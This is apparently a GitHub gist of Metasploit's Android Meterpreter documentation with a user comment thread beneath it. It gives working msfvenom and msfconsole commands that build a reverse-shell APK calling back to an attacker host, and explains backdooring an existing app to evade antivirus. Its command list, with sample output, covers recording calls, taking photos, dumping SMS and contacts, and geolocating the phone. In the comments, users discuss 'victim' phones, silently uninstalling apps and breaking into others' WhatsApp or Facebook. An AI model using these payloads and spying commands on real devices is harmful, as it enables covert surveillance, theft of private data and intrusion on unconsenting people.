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meterpreter commands
The android/meterpreter/reverse_tcp payload is a Java-based Meterpreter that can be used on an
Android device. It is still at an early stage of development, but there are so many things you can
do with it already.
The Android Meterpreter allows you to do things like take remote control the file system, listen to phone calls, retrieve or send SMS messages, geo-locate the user, run post-exploitation modules, etc.
## Vulnerable Application
You can test android/meterpreter/reverse_tcp on these devices:
**Android Emulator**
An emulator is the most convenient way to test Android Meterpreter. You can try:
* [Android SDK](http://developer.android.com/sdk/index.html#Other) - Creates and manages your emulators from a command prompt or terminal.
* [Android Studio](http://developer.android.com/sdk/installing/index.html?pkg=studio) - Allows you to manage emulators more easily than the SDK.
* [GenyMotion](https://www.genymotion.com/download/) - Requires an account.
* [AndroidAVDRepo](https://github.com/dral3x/AndroidAVDRepo) - Contains a collection of pre-configured emulators.
**A real Android device**
Having a real Android device allows you to test features or vulnerabilities you don't necessarily
have from an emulator, which might be specific to a manufacturer, carrier, or hardware. You also
get to test it over a real network.
## Verification Steps
Currently, the most common way to use Android Meterpreter is to create it as an APK, and then
execute it.
To create the APK with msfconsole:
```
msf > use payload/android/meterpreter/reverse_tcp
msf payload(reverse_tcp) > set LHOST 192.168.1.199
LHOST => 192.168.1.199
msf payload(reverse_tcp) > generate -t raw -f /tmp/android.apk
[*] Writing 8992 bytes to /tmp/android.apk...
msf payload(reverse_tcp) >
```
To create the APK with msfvenom:
```
./msfvenom -p android/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f raw -o /tmp/android.apk
```
You can also add Android meterpreter to any existing APK. This will make it harder for
Anti-virus software to detect the payload, and allow you read internal files and take
screenshots of the Android app you are backdooring:
```
./msfvenom -p android/meterpreter/reverse_tcp -x com.existing.apk LHOST=[IP] LPORT=4444 -f raw -o /tmp/android.apk
```
Next, start an Android device. Upload the APK, and execute it. There are different ways to do this,
so please refer to the Scenarios section for more information.
## Important Basic Commands
**pwd**
The ```pwd``` command allows you to see the current directory you're in.
```
meterpreter > pwd
/data/data/com.metasploit.stage
```
**cd**
The ```cd``` command allows you to change directory. For example:
```
meterpreter > cd cache
meterpreter > ls
```
**cat**
The ```cat``` command allows you to see the contents of a file.
**ls**
The ```ls``` command displays items in a directory. For example:
```
meterpreter > ls
Listing: /data/data/com.metasploit.stage/files
==============================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100444/r--r--r-- 0 fil 2016-03-08 14:56:08 -0600 rList-com.metasploit.stage.MainActivity
```
**upload**
The ```upload``` command allows you to upload a file to the remote target. The ```-r``` option
allows you to do so recursively.
**download**
The ```download``` command allows you to download a file from the remote target. The ```-r```
option allows you to do so recursively.
**search**
The ```search``` command allows you to find files on the remote target. For example:
```
meterpreter > search -d . -f *.txt
```
**ifconfig**
The ```ifconfig``` command displays the network interfaces on the remote machine.
```
meterpreter > ifconfig
...
Interface 10
============
Name : wlan0 - wlan0
Hardware MAC : 60:f1:89:07:c2:7e
IPv4 Address : 192.168.1.207
IPv4 Netmask : 255.255.255.0
IPv6 Address : 2602:30a:2c51:e660:62f1:89ff:fe07:c27e
IPv6 Netmask : ::
IPv6 Address : fe80::62f1:89ff:fe07:c27e
IPv6 Netmask : ::
IPv6 Address : 2602:30a:2c51:e660:81ae:6bbd:e0e1:5954
IPv6 Netmask : ::
...
```
**getuid**
The ```getuid``` command shows the current user that the payload is running as:
```
meterpreter > getuid
Server username: u0_a231
```
**ps**
The ```ps``` command shows a list of processes the Android device is running. For example:
```
meterpreter > ps
Process List
============
PID Name Arch User
--- ---- ---- ----
1 /init root
2 kthreadd root
3 ksoftirqd/0 root
7 migration/0 root
8 rcu_preempt root
9 rcu_bh root
10 rcu_sched root
11 watchdog/0 root
12 watchdog/1 root
13 migration/1 root
14 ksoftirqd/1 root
17 watchdog/2 root
18 migration/2 root
19 ksoftirqd/2 root
22 watchdog/3 root
23 migration/3 root
...
```
**shell**
The ```shell``` command allows you to interact with a shell:
```
meterpreter > shell
Process 1 created.
Channel 1 created.
id
uid=10231(u0_a231) gid=10231(u0_a231) groups=1015(sdcard_rw),1028(sdcard_r),3003(inet),9997(everybody),50231(all_a231) context=u:r:untrusted_app:s0
```
To get back to the Meterpreter prompt, you can do: [CTRL]+[Z]
**sysinfo**
The ```sysinfo``` command shows you basic information about the Android device.
```
meterpreter > sysinfo
Computer : localhost
OS : Android 5.1.1 - Linux 3.10.61-6309174 (aarch64)
Meterpreter : java/android
```
**webcam_list**
The ```webcam_list``` command shows a list of webcams you could use for the ```webcam_snap```
command. Example:
```
meterpreter > webcam_list
1: Back Camera
2: Front Camera
```
**webcam_snap**
The ```webcam_snap``` command takes a picture from the device. You will have to use the
```webcam_list``` command to figure out which camera to use. Example:
```
meterpreter > webcam_snap -i 2
[*] Starting...
[+] Got frame
[*] Stopped
Webcam shot saved to: /Users/user/rapid7/msf/uFWJXeQt.jpeg
```
**record_mic**
The ```record_mic``` command records audio. Good for listening to a phone conversation, as well as
other uses. Example:
```
meterpreter > record_mic -d 20
[*] Starting...
[*] Stopped
Audio saved to: /Users/user/rapid7/msf/YAUtubCR.wav
```
**activity_start**
The ```activity_start``` command is an execute command by starting an Android activity from a URI
string.
**check_root**
The ```check_root``` command detects whether your payload is running as root or not. Example:
```
meterpreter > check_root
[*] Device is not rooted
```
**dump_calllog**
The ```dump_calllog``` command retrieves the call log from the Android device.
**dump_contacts**
```
meterpreter > dump_contacts
[*] Fetching 5 contacts into list
[*] Contacts list saved to: contacts_dump_20160308155744.txt
```
**geolocate**
The ```geolocate``` commands allows you to locate the phone by retrieving the current lat-long
using geolocation.
**wlan_geolocate**
The ```wlan_geolocation``` command allows you to locate the phone by retrieving the current
lat-long using WLAN information. Example:
```
meterpreter > wlan_geolocate
[*] Google indicates the device is within 150 meters of 30.*******,-97.*******.
[*] Google Maps URL: https://maps.google.com/?q=30.*******,-97.*******
```
**send_sms**
The ```send_sms``` command allows you to send an SMS message. Keep in mind the phone will keep a
copy of it, too.
```
meterpreter > send_sms -d "2674554859" -t "hello"
[+] SMS sent - Transmission successful
```
**sms_dump**
The ```sms_dump``` command allows you to retrieve SMS messages. And save them as a text file.
For example:
```
meterpreter > dump_sms
[*] Fetching 4 sms messages
[*] SMS messages saved to: sms_dump_20160308163212.txt
...
$ cat sms_dump_20160308163212.txt
=====================
[+] SMS messages dump
=====================
Date: 2016-03-08 15:30:12 -0600
OS: Android 5.1.1 - Linux 3.10.61-6309174 (aarch64)
Remote IP: 192.168.1.207
Remote Port: 59130
#1
Type : Incoming
Date : 2016-03-08 15:29:32
Address : **********
Status : NOT_RECEIVED
Message : Hello world
...
```
**run**
The ```run``` command allows you to run a post module against the remote machine at the Meterpreter
prompt. For example:
```
meterpreter > run post/android/capture/screen
```
## Scenarios
**Uploading APK to an Emulator using install_msf_apk.sh**
The Metasploit Framework comes with a script that allows you to automatically upload your APK to
an active emulator and execute it. It requires the [Android SDK platform-tools](http://developer.android.com/sdk/installing/index.html) to run, as well as [Java](https://java.com/en/download/).
To use this, follow these steps:
1. Start the Android Emulator
2. Generate the Android payload as an APK.
3. In msfconsole, start a handler for android/meterpreter/reverse_tcp
4. Run the installer script like this from a terminal:
```
$ tools/exploit/install_msf_apk.sh /tmp/android.apk
```
The the script will do something like this:
```
$ tools/exploit/install_msf_apk.sh /tmp/android.apk
adding: META-INF/ANDROIDD.SF
adding: META-INF/ANDROIDD.RSA
signing: classes.dex
signing: AndroidManifest.xml
signing: resources.arsc
Failure
1562 KB/s (10715 bytes in 0.006s)
pkg: /data/local/tmp/android.apk
Success
rm failed for -f, Read-only file system
Starting: Intent { act=android.intent.action.MAIN cmp=com.metasploit.stage/.MainActivity }
```
Back in msfconsole, you should receive a session:
```
[*] Started reverse TCP handler on 192.168.1.199:4444
[*] Starting the payload handler...
[*] Sending stage (62432 bytes) to 192.168.1.199
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.199:49178) at 2016-03-08 13:00:10 -0600
meterpreter >
```
**Uploading APK to a real Android device using install_msf_apk.sh**
On the Android device, make sure to enable Developer Options. To do this:
1. Go to Settings -> About -> Software Information
2. Tap on the Build Number section a couple of times. It should unlock Developer Options.
3. Go back to the Settings page, you should see Developer Options.
Under Developer Options, make sure to:
* Enable USB debugging
* Disable Verify apps via USB
* Open a terminal, and type: ```adb devices```. On your Android device, you should see a prompt
asking you to allow the computer for debugging, click OK on that.
* Do: ```adb devices``` again, adb should now have access.
Run the installer script like this from a terminal:
```
$ tools/exploit/install_msf_apk.sh /tmp/android.apk
```
And you should get a session.
**Uploading APK from a Web Server**
One way to upload an APK to Android without adb is by hosting it from a web server. To do this,
you must make sure to allow to trust "Unknown sources". The way to do this varies, but normally
it's something like this: Settings -> Security -> Check "Unknown Sources"
Once you have that changed, you'll need to:
1. Generate the APK payload.
2. Start a web server from the directory where the payload is: ```ruby -run -e httpd . -p 8181```
3. On your Android device, open a browser, and download the APK.
4. You should be able to find the APK from the Downloads folder, install it.
5. After installation, you will have to manually execute it.
**Reconnect Android Meterpreter from the Browser Remotely**
When you have the APK payload installed on your Android device, another trick to reconnect it is to
launch an intent from a browser. An intent is simply a term in Android development that means "an operation to be performed."
Here's how you do this:
1. In msfconsole, start a multi/handler for android/meterpreter/reverse_tcp as a background job.
2. Do: ```auxiliary/server/android_browsable_msf_launch```.
3. Set the URIPATh if needed.
4. Do: ```run```. At this point, the web server should be up.
5. On your Android device, open the native web browser, and go the URL generated by the auxiliary
module.
6. The Android handler should get a session like the following demo:
```
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD android/meterpreter/reverse_tcp
PAYLOAD => android/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.199
LHOST => 192.168.1.199
msf exploit(handler) > set EXITONSESSION false
EXITONSESSION => false
msf exploit(handler) > run -j
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.1.199:4444
msf exploit(handler) > [*] Starting the payload handler...
msf exploit(handler) > use auxiliary/server/android_browsable_msf_launch
msf auxiliary(android_browsable_msf_launch) > set URIPATH /test
URIPATH => /test
msf auxiliary(android_browsable_msf_launch) > run
[*] Using URL: http://0.0.0.0:8080/test
[*] Local IP: http://192.168.1.199:8080/test
[*] Server started.
[*] Sending HTML...
[*] Sending stage (62432 bytes) to 192.168.1.207
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.207:47523) at 2016-03-08 15:09:25 -0600
```
@jason-matison
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what for listing the existing apps on the device and run them thru meterpreter or shell?

@AnonyRXD
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I have created a payload using msfvenom, and after starting msfconsole, I am connected to the victim phone (me). I am able to run all commands but the play command shows an error.

I want to play music from the attacker machine (linux, meterpreter) on the victim's phone.

Error countered:
meterpreter > play /root/Desktop/chameli.mp3
[*] Playing /root/Desktop/chameli.mp3...
[-] core_channel_open: Operation failed: 1

@renu143143
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How i can install any app on it

@SpunkyHacker
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please say how to use app_run command

@c4llous
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c4llous commented Aug 2, 2021

please say how to use app_run command

First run app_list
And then copy the sid of application you want to run its like com.twitter.android
And then type. app_run com.twitter.android

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c4llous commented Aug 2, 2021

I have created a payload using msfvenom, and after starting msfconsole, I am connected to the victim phone (me). I am able to run all commands but the play command shows an error.

I want to play music from the attacker machine (linux, meterpreter) on the victim's phone.

Error countered:
meterpreter > play /root/Desktop/chameli.mp3
[*] Playing /root/Desktop/chameli.mp3...
[-] core_channel_open: Operation failed: 1

You can only run .wav format

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c4llous commented Aug 2, 2021

In termux how to bind payload with any apk file

You have yo decompile both the apk files and then copy all the data from the payload target apk and then compile it
On android its difficult cause of small screen but ya possible 😅

@itsallfake
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In termux how to bind payload with any apk file

You have yo decompile both the apk files and then copy all the data from the payload target apk and then compile it
On android its difficult cause of small screen but ya possible 😅

search "apkmod" hax4us🙂

@samuelefilincieri
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Good morning. I've been trying to use the "dumb_contact" command for a few days now but he tells me no contacts have been found. Do you have any solution? (android / meterpreter_reverse_tcp)

@samuelefilincieri
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Good morning. I've been trying to use the "dumb_contact" command for a few days now but he tells me no contacts have been found. Do you have any solution? (android / meterpreter_reverse_tcp)

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lebyanelm commented Sep 14, 2021 •
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Good morning. I've been trying to use the "dumb_contact" command for a few days now but he tells me no contacts have been found. Do you have any solution? (android / meterpreter_reverse_tcp)

Perhaps you didn't allow permission to access contacts when installing or opening the payload. Check your payload app settings for permissions and try it once more, it should work.

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c4llous commented Sep 14, 2021 via email

@manozpaudel0
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Thanks all are working except send_sms

@bravinhack
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how do i enter the storage on victims phone? am trying with cd /storage but caant see anything

@QinnStar
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how to uninstall an app...when i run "app_uninstall packagename" it shows the request on the android phone...is there a way to uninstall the app without letting the user known..by forcefully..?

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ajayhackz commented Dec 23, 2021 via email

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VikasShah8218 commented Jan 13, 2022 •
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I already make a connection between target and me , now meterpreter session open successfully and some commands are running beautifuly but some commands like "screenshare", "screenshot", "smsdump" are not working for a Android version target

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Joelops commented Jan 29, 2023

Good morning. I've been trying to use the "dumb_contact" command for a few days now but he tells me no contacts have been found. Do you have any solution? (android / meterpreter_reverse_tcp)

HI i have the same issues. were you able to resolve this issue?

@sol-sakeo
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Hola cómo puedo usar la aplicación para entrar a otro whassp o Facebook

@Bump1nUgl1es
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1000000072

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Hi
1000000072

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